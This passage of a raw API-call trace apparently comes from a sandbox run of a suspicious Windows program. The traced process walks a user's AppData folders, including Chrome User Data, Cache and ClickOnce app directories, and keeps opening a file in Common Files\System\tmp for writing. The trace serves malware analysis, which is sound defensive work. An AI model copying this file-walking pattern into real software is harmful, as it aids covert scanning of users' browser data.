Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0130.412] AreFileApisANSI () returned 1 [0130.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.413] GetFileType (hFile=0x18c) returned 0x1 [0130.413] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x8670e0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.413] AreFileApisANSI () returned 1 [0130.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.413] GetFileType (hFile=0x190) returned 0x1 [0130.413] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.413] AreFileApisANSI () returned 1 [0130.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.413] GetFileType (hFile=0x194) returned 0x1 [0130.414] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x17000, nFileSizeHigh=0x0, nFileSizeLow=0x1672e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0130.414] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.414] GetLastError () returned 0x12 [0130.414] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.414] GetLastError () returned 0x12 [0130.414] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0130.414] GetLastError () returned 0x12 [0130.414] AreFileApisANSI () returned 1 [0130.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0130.414] GetFileType (hFile=0x188) returned 0x1 [0130.414] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0130.414] AreFileApisANSI () returned 1 [0130.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.415] GetFileType (hFile=0x18c) returned 0x1 [0130.415] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.415] AreFileApisANSI () returned 1 [0130.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.415] GetFileType (hFile=0x190) returned 0x1 [0130.415] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x17000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x169e5, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0130.415] AreFileApisANSI () returned 1 [0130.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.415] GetFileType (hFile=0x190) returned 0x1 [0130.416] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x17000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x16af9, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0130.416] AreFileApisANSI () returned 1 [0130.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.416] GetFileType (hFile=0x190) returned 0x1 [0130.416] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.417] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.417] GetLastError () returned 0x12 [0130.417] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.418] GetLastError () returned 0x12 [0130.418] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0130.418] GetLastError () returned 0x12 [0130.418] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0130.418] GetLastError () returned 0x12 [0130.418] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0130.418] GetLastError () returned 0x12 [0130.418] AreFileApisANSI () returned 1 [0130.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0130.418] GetFileType (hFile=0x180) returned 0x1 [0130.418] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x889898, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0130.418] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0130.419] GetLastError () returned 0x12 [0130.419] AreFileApisANSI () returned 1 [0130.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0130.419] GetFileType (hFile=0x180) returned 0x1 [0130.486] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0130.487] AreFileApisANSI () returned 1 [0130.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0130.487] GetFileType (hFile=0x184) returned 0x1 [0130.487] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0130.488] AreFileApisANSI () returned 1 [0130.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0130.488] GetFileType (hFile=0x188) returned 0x1 [0130.488] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0130.488] AreFileApisANSI () returned 1 [0130.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.489] GetFileType (hFile=0x18c) returned 0x1 [0130.489] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.489] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.489] GetLastError () returned 0x12 [0130.489] AreFileApisANSI () returned 1 [0130.489] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.489] GetFileType (hFile=0x18c) returned 0x1 [0130.489] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.490] AreFileApisANSI () returned 1 [0130.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.490] GetFileType (hFile=0x190) returned 0x1 [0130.490] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x85fa70, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.490] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.490] GetLastError () returned 0x12 [0130.490] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.490] GetLastError () returned 0x12 [0130.490] AreFileApisANSI () returned 1 [0130.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.491] GetFileType (hFile=0x18c) returned 0x1 [0130.491] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.491] AreFileApisANSI () returned 1 [0130.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.491] GetFileType (hFile=0x190) returned 0x1 [0130.491] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.492] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.492] GetLastError () returned 0x12 [0130.492] AreFileApisANSI () returned 1 [0130.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.492] GetFileType (hFile=0x190) returned 0x1 [0130.492] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.551] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.552] GetLastError () returned 0x12 [0130.552] AreFileApisANSI () returned 1 [0130.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), 